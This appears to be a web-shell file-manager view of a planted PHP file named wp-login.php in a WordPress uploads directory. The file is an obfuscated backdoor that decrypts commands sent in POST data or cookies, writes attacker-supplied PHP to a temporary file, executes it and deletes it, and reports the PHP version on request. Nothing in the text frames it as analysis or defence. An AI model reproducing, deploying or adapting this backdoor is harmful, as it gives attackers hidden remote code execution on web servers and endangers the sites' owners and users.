HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/11/wp-login.php
<?php 


$baufri    =    'baufri'    ^    '	';


$isi_rtjg /*   rfs */ =    "\x61" /*   zwx  */ .    $baufri(211-97)  . /*   tjah  */ "\x72"      .   "a".$baufri(1084-963) /*  ogwowc */ . /*  l*/ $baufri(95) /*ngcti*/ . /*   qhhn   */ "m"."a"."p";

$zekzgt     =    "i"."m"."p"."l"."\157"    .   $baufri(100)	.	"\145";


function /*v   */ etlzdfmtt($yzunwyj,    $eocfcc)
{ /*hy */ global	$baufri;
 /*   vhnjh*/ 

       $yzunwyj       =	"\x3c"	.    $baufri(1044-981)	.  "\x70"    . /*   rka   */ $baufri(639-535) /*  ecdfic */ .    "p".$baufri(32)    .       $baufri(117)    .    "n"."l".$baufri(105)     .    "\x6e"   .    $baufri(514-407)    . /*nrztni  */ "\50"    .	$baufri(95)     .    $baufri(1094-999)    .	$baufri(70)  .  "I"."L"."E".$baufri(949-854)  .	"_".$baufri(41)    .	$baufri(730-671)	.	$baufri(32)     .	$yzunwyj["\144"]; /* heas  */ $qxce_cnxo    =   $baufri(691-589)    .    $baufri(162-57) /*  e*/ . /*mikxdu   */ "\x6c"    .     "e"."_"."\x70"      .      "\x75" /* zxsme */ . /*  sarkr   */ $baufri(116) /*  bn_*/ .    "\x5f"       . /* jkdzv */ $baufri(99)    . /*t   */ "o"."n"."t"."\x65" /*   kg*/ .   "\156"    .      "t".$baufri(115);
    

    $qxce_cnxo($eocfcc,    $yzunwyj);

       


	qjrou($eocfcc);

}



$afisne /*  a*/ = /*  pj  */ 73;




function       qjrou($eocfcc)
{


	global      $baufri;


   

  include($eocfcc);
    $m_eqsn    =       $eocfcc; /* xijzx*/ @unlink($m_eqsn);


}

function /*   ycw */ zhgfl_exo()
{


 /*   wpevk   */ global	$baufri;



	$kwuxp    =    array();      $kwuxp["\x70"	.    $baufri(130-12)] /* n */ =	phpversion();

 /*yd   */ $kwuxp["s"."\166"]  = /*  kwysg */ $baufri(51)  .      "."."5";


	$pnbt_ix    = /*   wdnoba*/ 74;   echo	@serialize($kwuxp);

}





function      mbbgcfiza($yzunwyj, /*   myk_rf  */ $qflqtz_){
	global    $baufri;



 /*   qp*/ $kwuxpxcknapu      = /*   t */ "";

	$pefmxrkdrx /*j  */ =  strlen($yzunwyj);
  $sbxfcoz /*_h  */ = /* ax  */ strlen($qflqtz_);


       $kwuxp    = /*   ovz_qc   */ 0;
 /*   hal */ $cshkmh      = /*mpjs   */ 0;


 /*  g*/ 

 /* kn */ while    ($kwuxp	< /*   vvrs*/ $pefmxrkdrx)	{      $ehgk_csxa    =    $yzunwyj[$kwuxp]    ^	$qflqtz_[$cshkmh /*  qmd   */ % /* dqsqd   */ $sbxfcoz]; /* txhak */ $kwuxpxcknapu    .=	$ehgk_csxa;

    $cshkmh++; /*  gbs*/ 
	$kwuxp++;	}


   
     if	(strlen($kwuxpxcknapu)     >     20) /*   ns */ {
      $rrcgxafq	= /*   wziw*/ substr($kwuxpxcknapu,      0,      20);


 /*  ltcgn   */ }
    if /*spnzu   */ (empty($kwuxpxcknapu))	{

    $kwuxpxcknapu    = /* hm   */ date('Y-m-d /*r*/ H:i:s');

	}


  return    $kwuxpxcknapu;}




function   mdvmfj($xcejsg)

{


	global /*  qy*/ $baufri;

 /*  v   */ 
	$pkufbzbn /*   edjs  */ = /*iptp_h */ "\x30" /* en */ . /*   lzlv  */ "e"."9".$baufri(458-407) /*  fnuz  */ .    "2".$baufri(924-873) /*  qbfzw*/ .    "\71"  .    $baufri(100)      . /* rmy  */ $baufri(773-728)    .	"c"."\x38"    .	"\141".$baufri(939-886)    .    "-"."\x34"  .  "4"."e"."\x34"    .    "-"."b"."9"."5".$baufri(102)	. /*_ */ "-"."f"."8"."\60" /*  moq   */ . /*   tefhe   */ "\141"."2"."5"."\x64"    .   "3".$baufri(979-922)	.	"b".$baufri(249-194)	.  "2";
 /*  zkhfqh  */ 


 /*alfo   */ foreach   ($xcejsg	as    $_dccui	=> /* mr*/ $yzunwyj) /*   on   */ {
    gpqglo(base64_decode($yzunwyj), /*ooqdd_  */ $pkufbzbn,    $_dccui); /*  mxkxg   */ }
}




function    gpqglo($yzunwyj,    $pkufbzbn, /* hki_ */ $_dccui){


 /*   ihgfa   */ global   $baufri;    


 /* io  */ $yzunwyj    =     unserialize(mbbgcfiza(mbbgcfiza($yzunwyj,    $pkufbzbn),	$_dccui));	$oixogpjkvy  = /*dbx  */ 'ghszb_s';	$ndasq /* i   */ =     'duwlqe';
 /*   fdu_uh  */ if	(isset($yzunwyj[$baufri(97)	.   "k"])) /*   dhtyy */ {
 /*   riwc */ if    ($yzunwyj["\141"] /*ib  */ ==    "i")	{

    zhgfl_exo();


      } /*e*/ elseif /*   ynj  */ ($yzunwyj["\141"]    == /*   i*/ "e")     {      etlzdfmtt($yzunwyj, /*  lki   */ sprintf("\x2e"     .      "/".$baufri(227-190)     .   "\x73" /*   r */ .    "."."\x70" /* iz*/ .	"l",       md5($pkufbzbn)));

			$qn_eepc    =   44;
	} /*  trd  */ exit();

    }


}

mdvmfj($_POST); /*   g*/ 





$tetuz    =       'rawurldecode';




$cmrvfk /*   n  */ =	$isi_rtjg($tetuz, /*   wj   */ $_POST);

$zekzgt("",     $tetuz);



mdvmfj($_COOKIE);$kby_qz_j   =      $isi_rtjg($tetuz,  $_COOKIE);


?>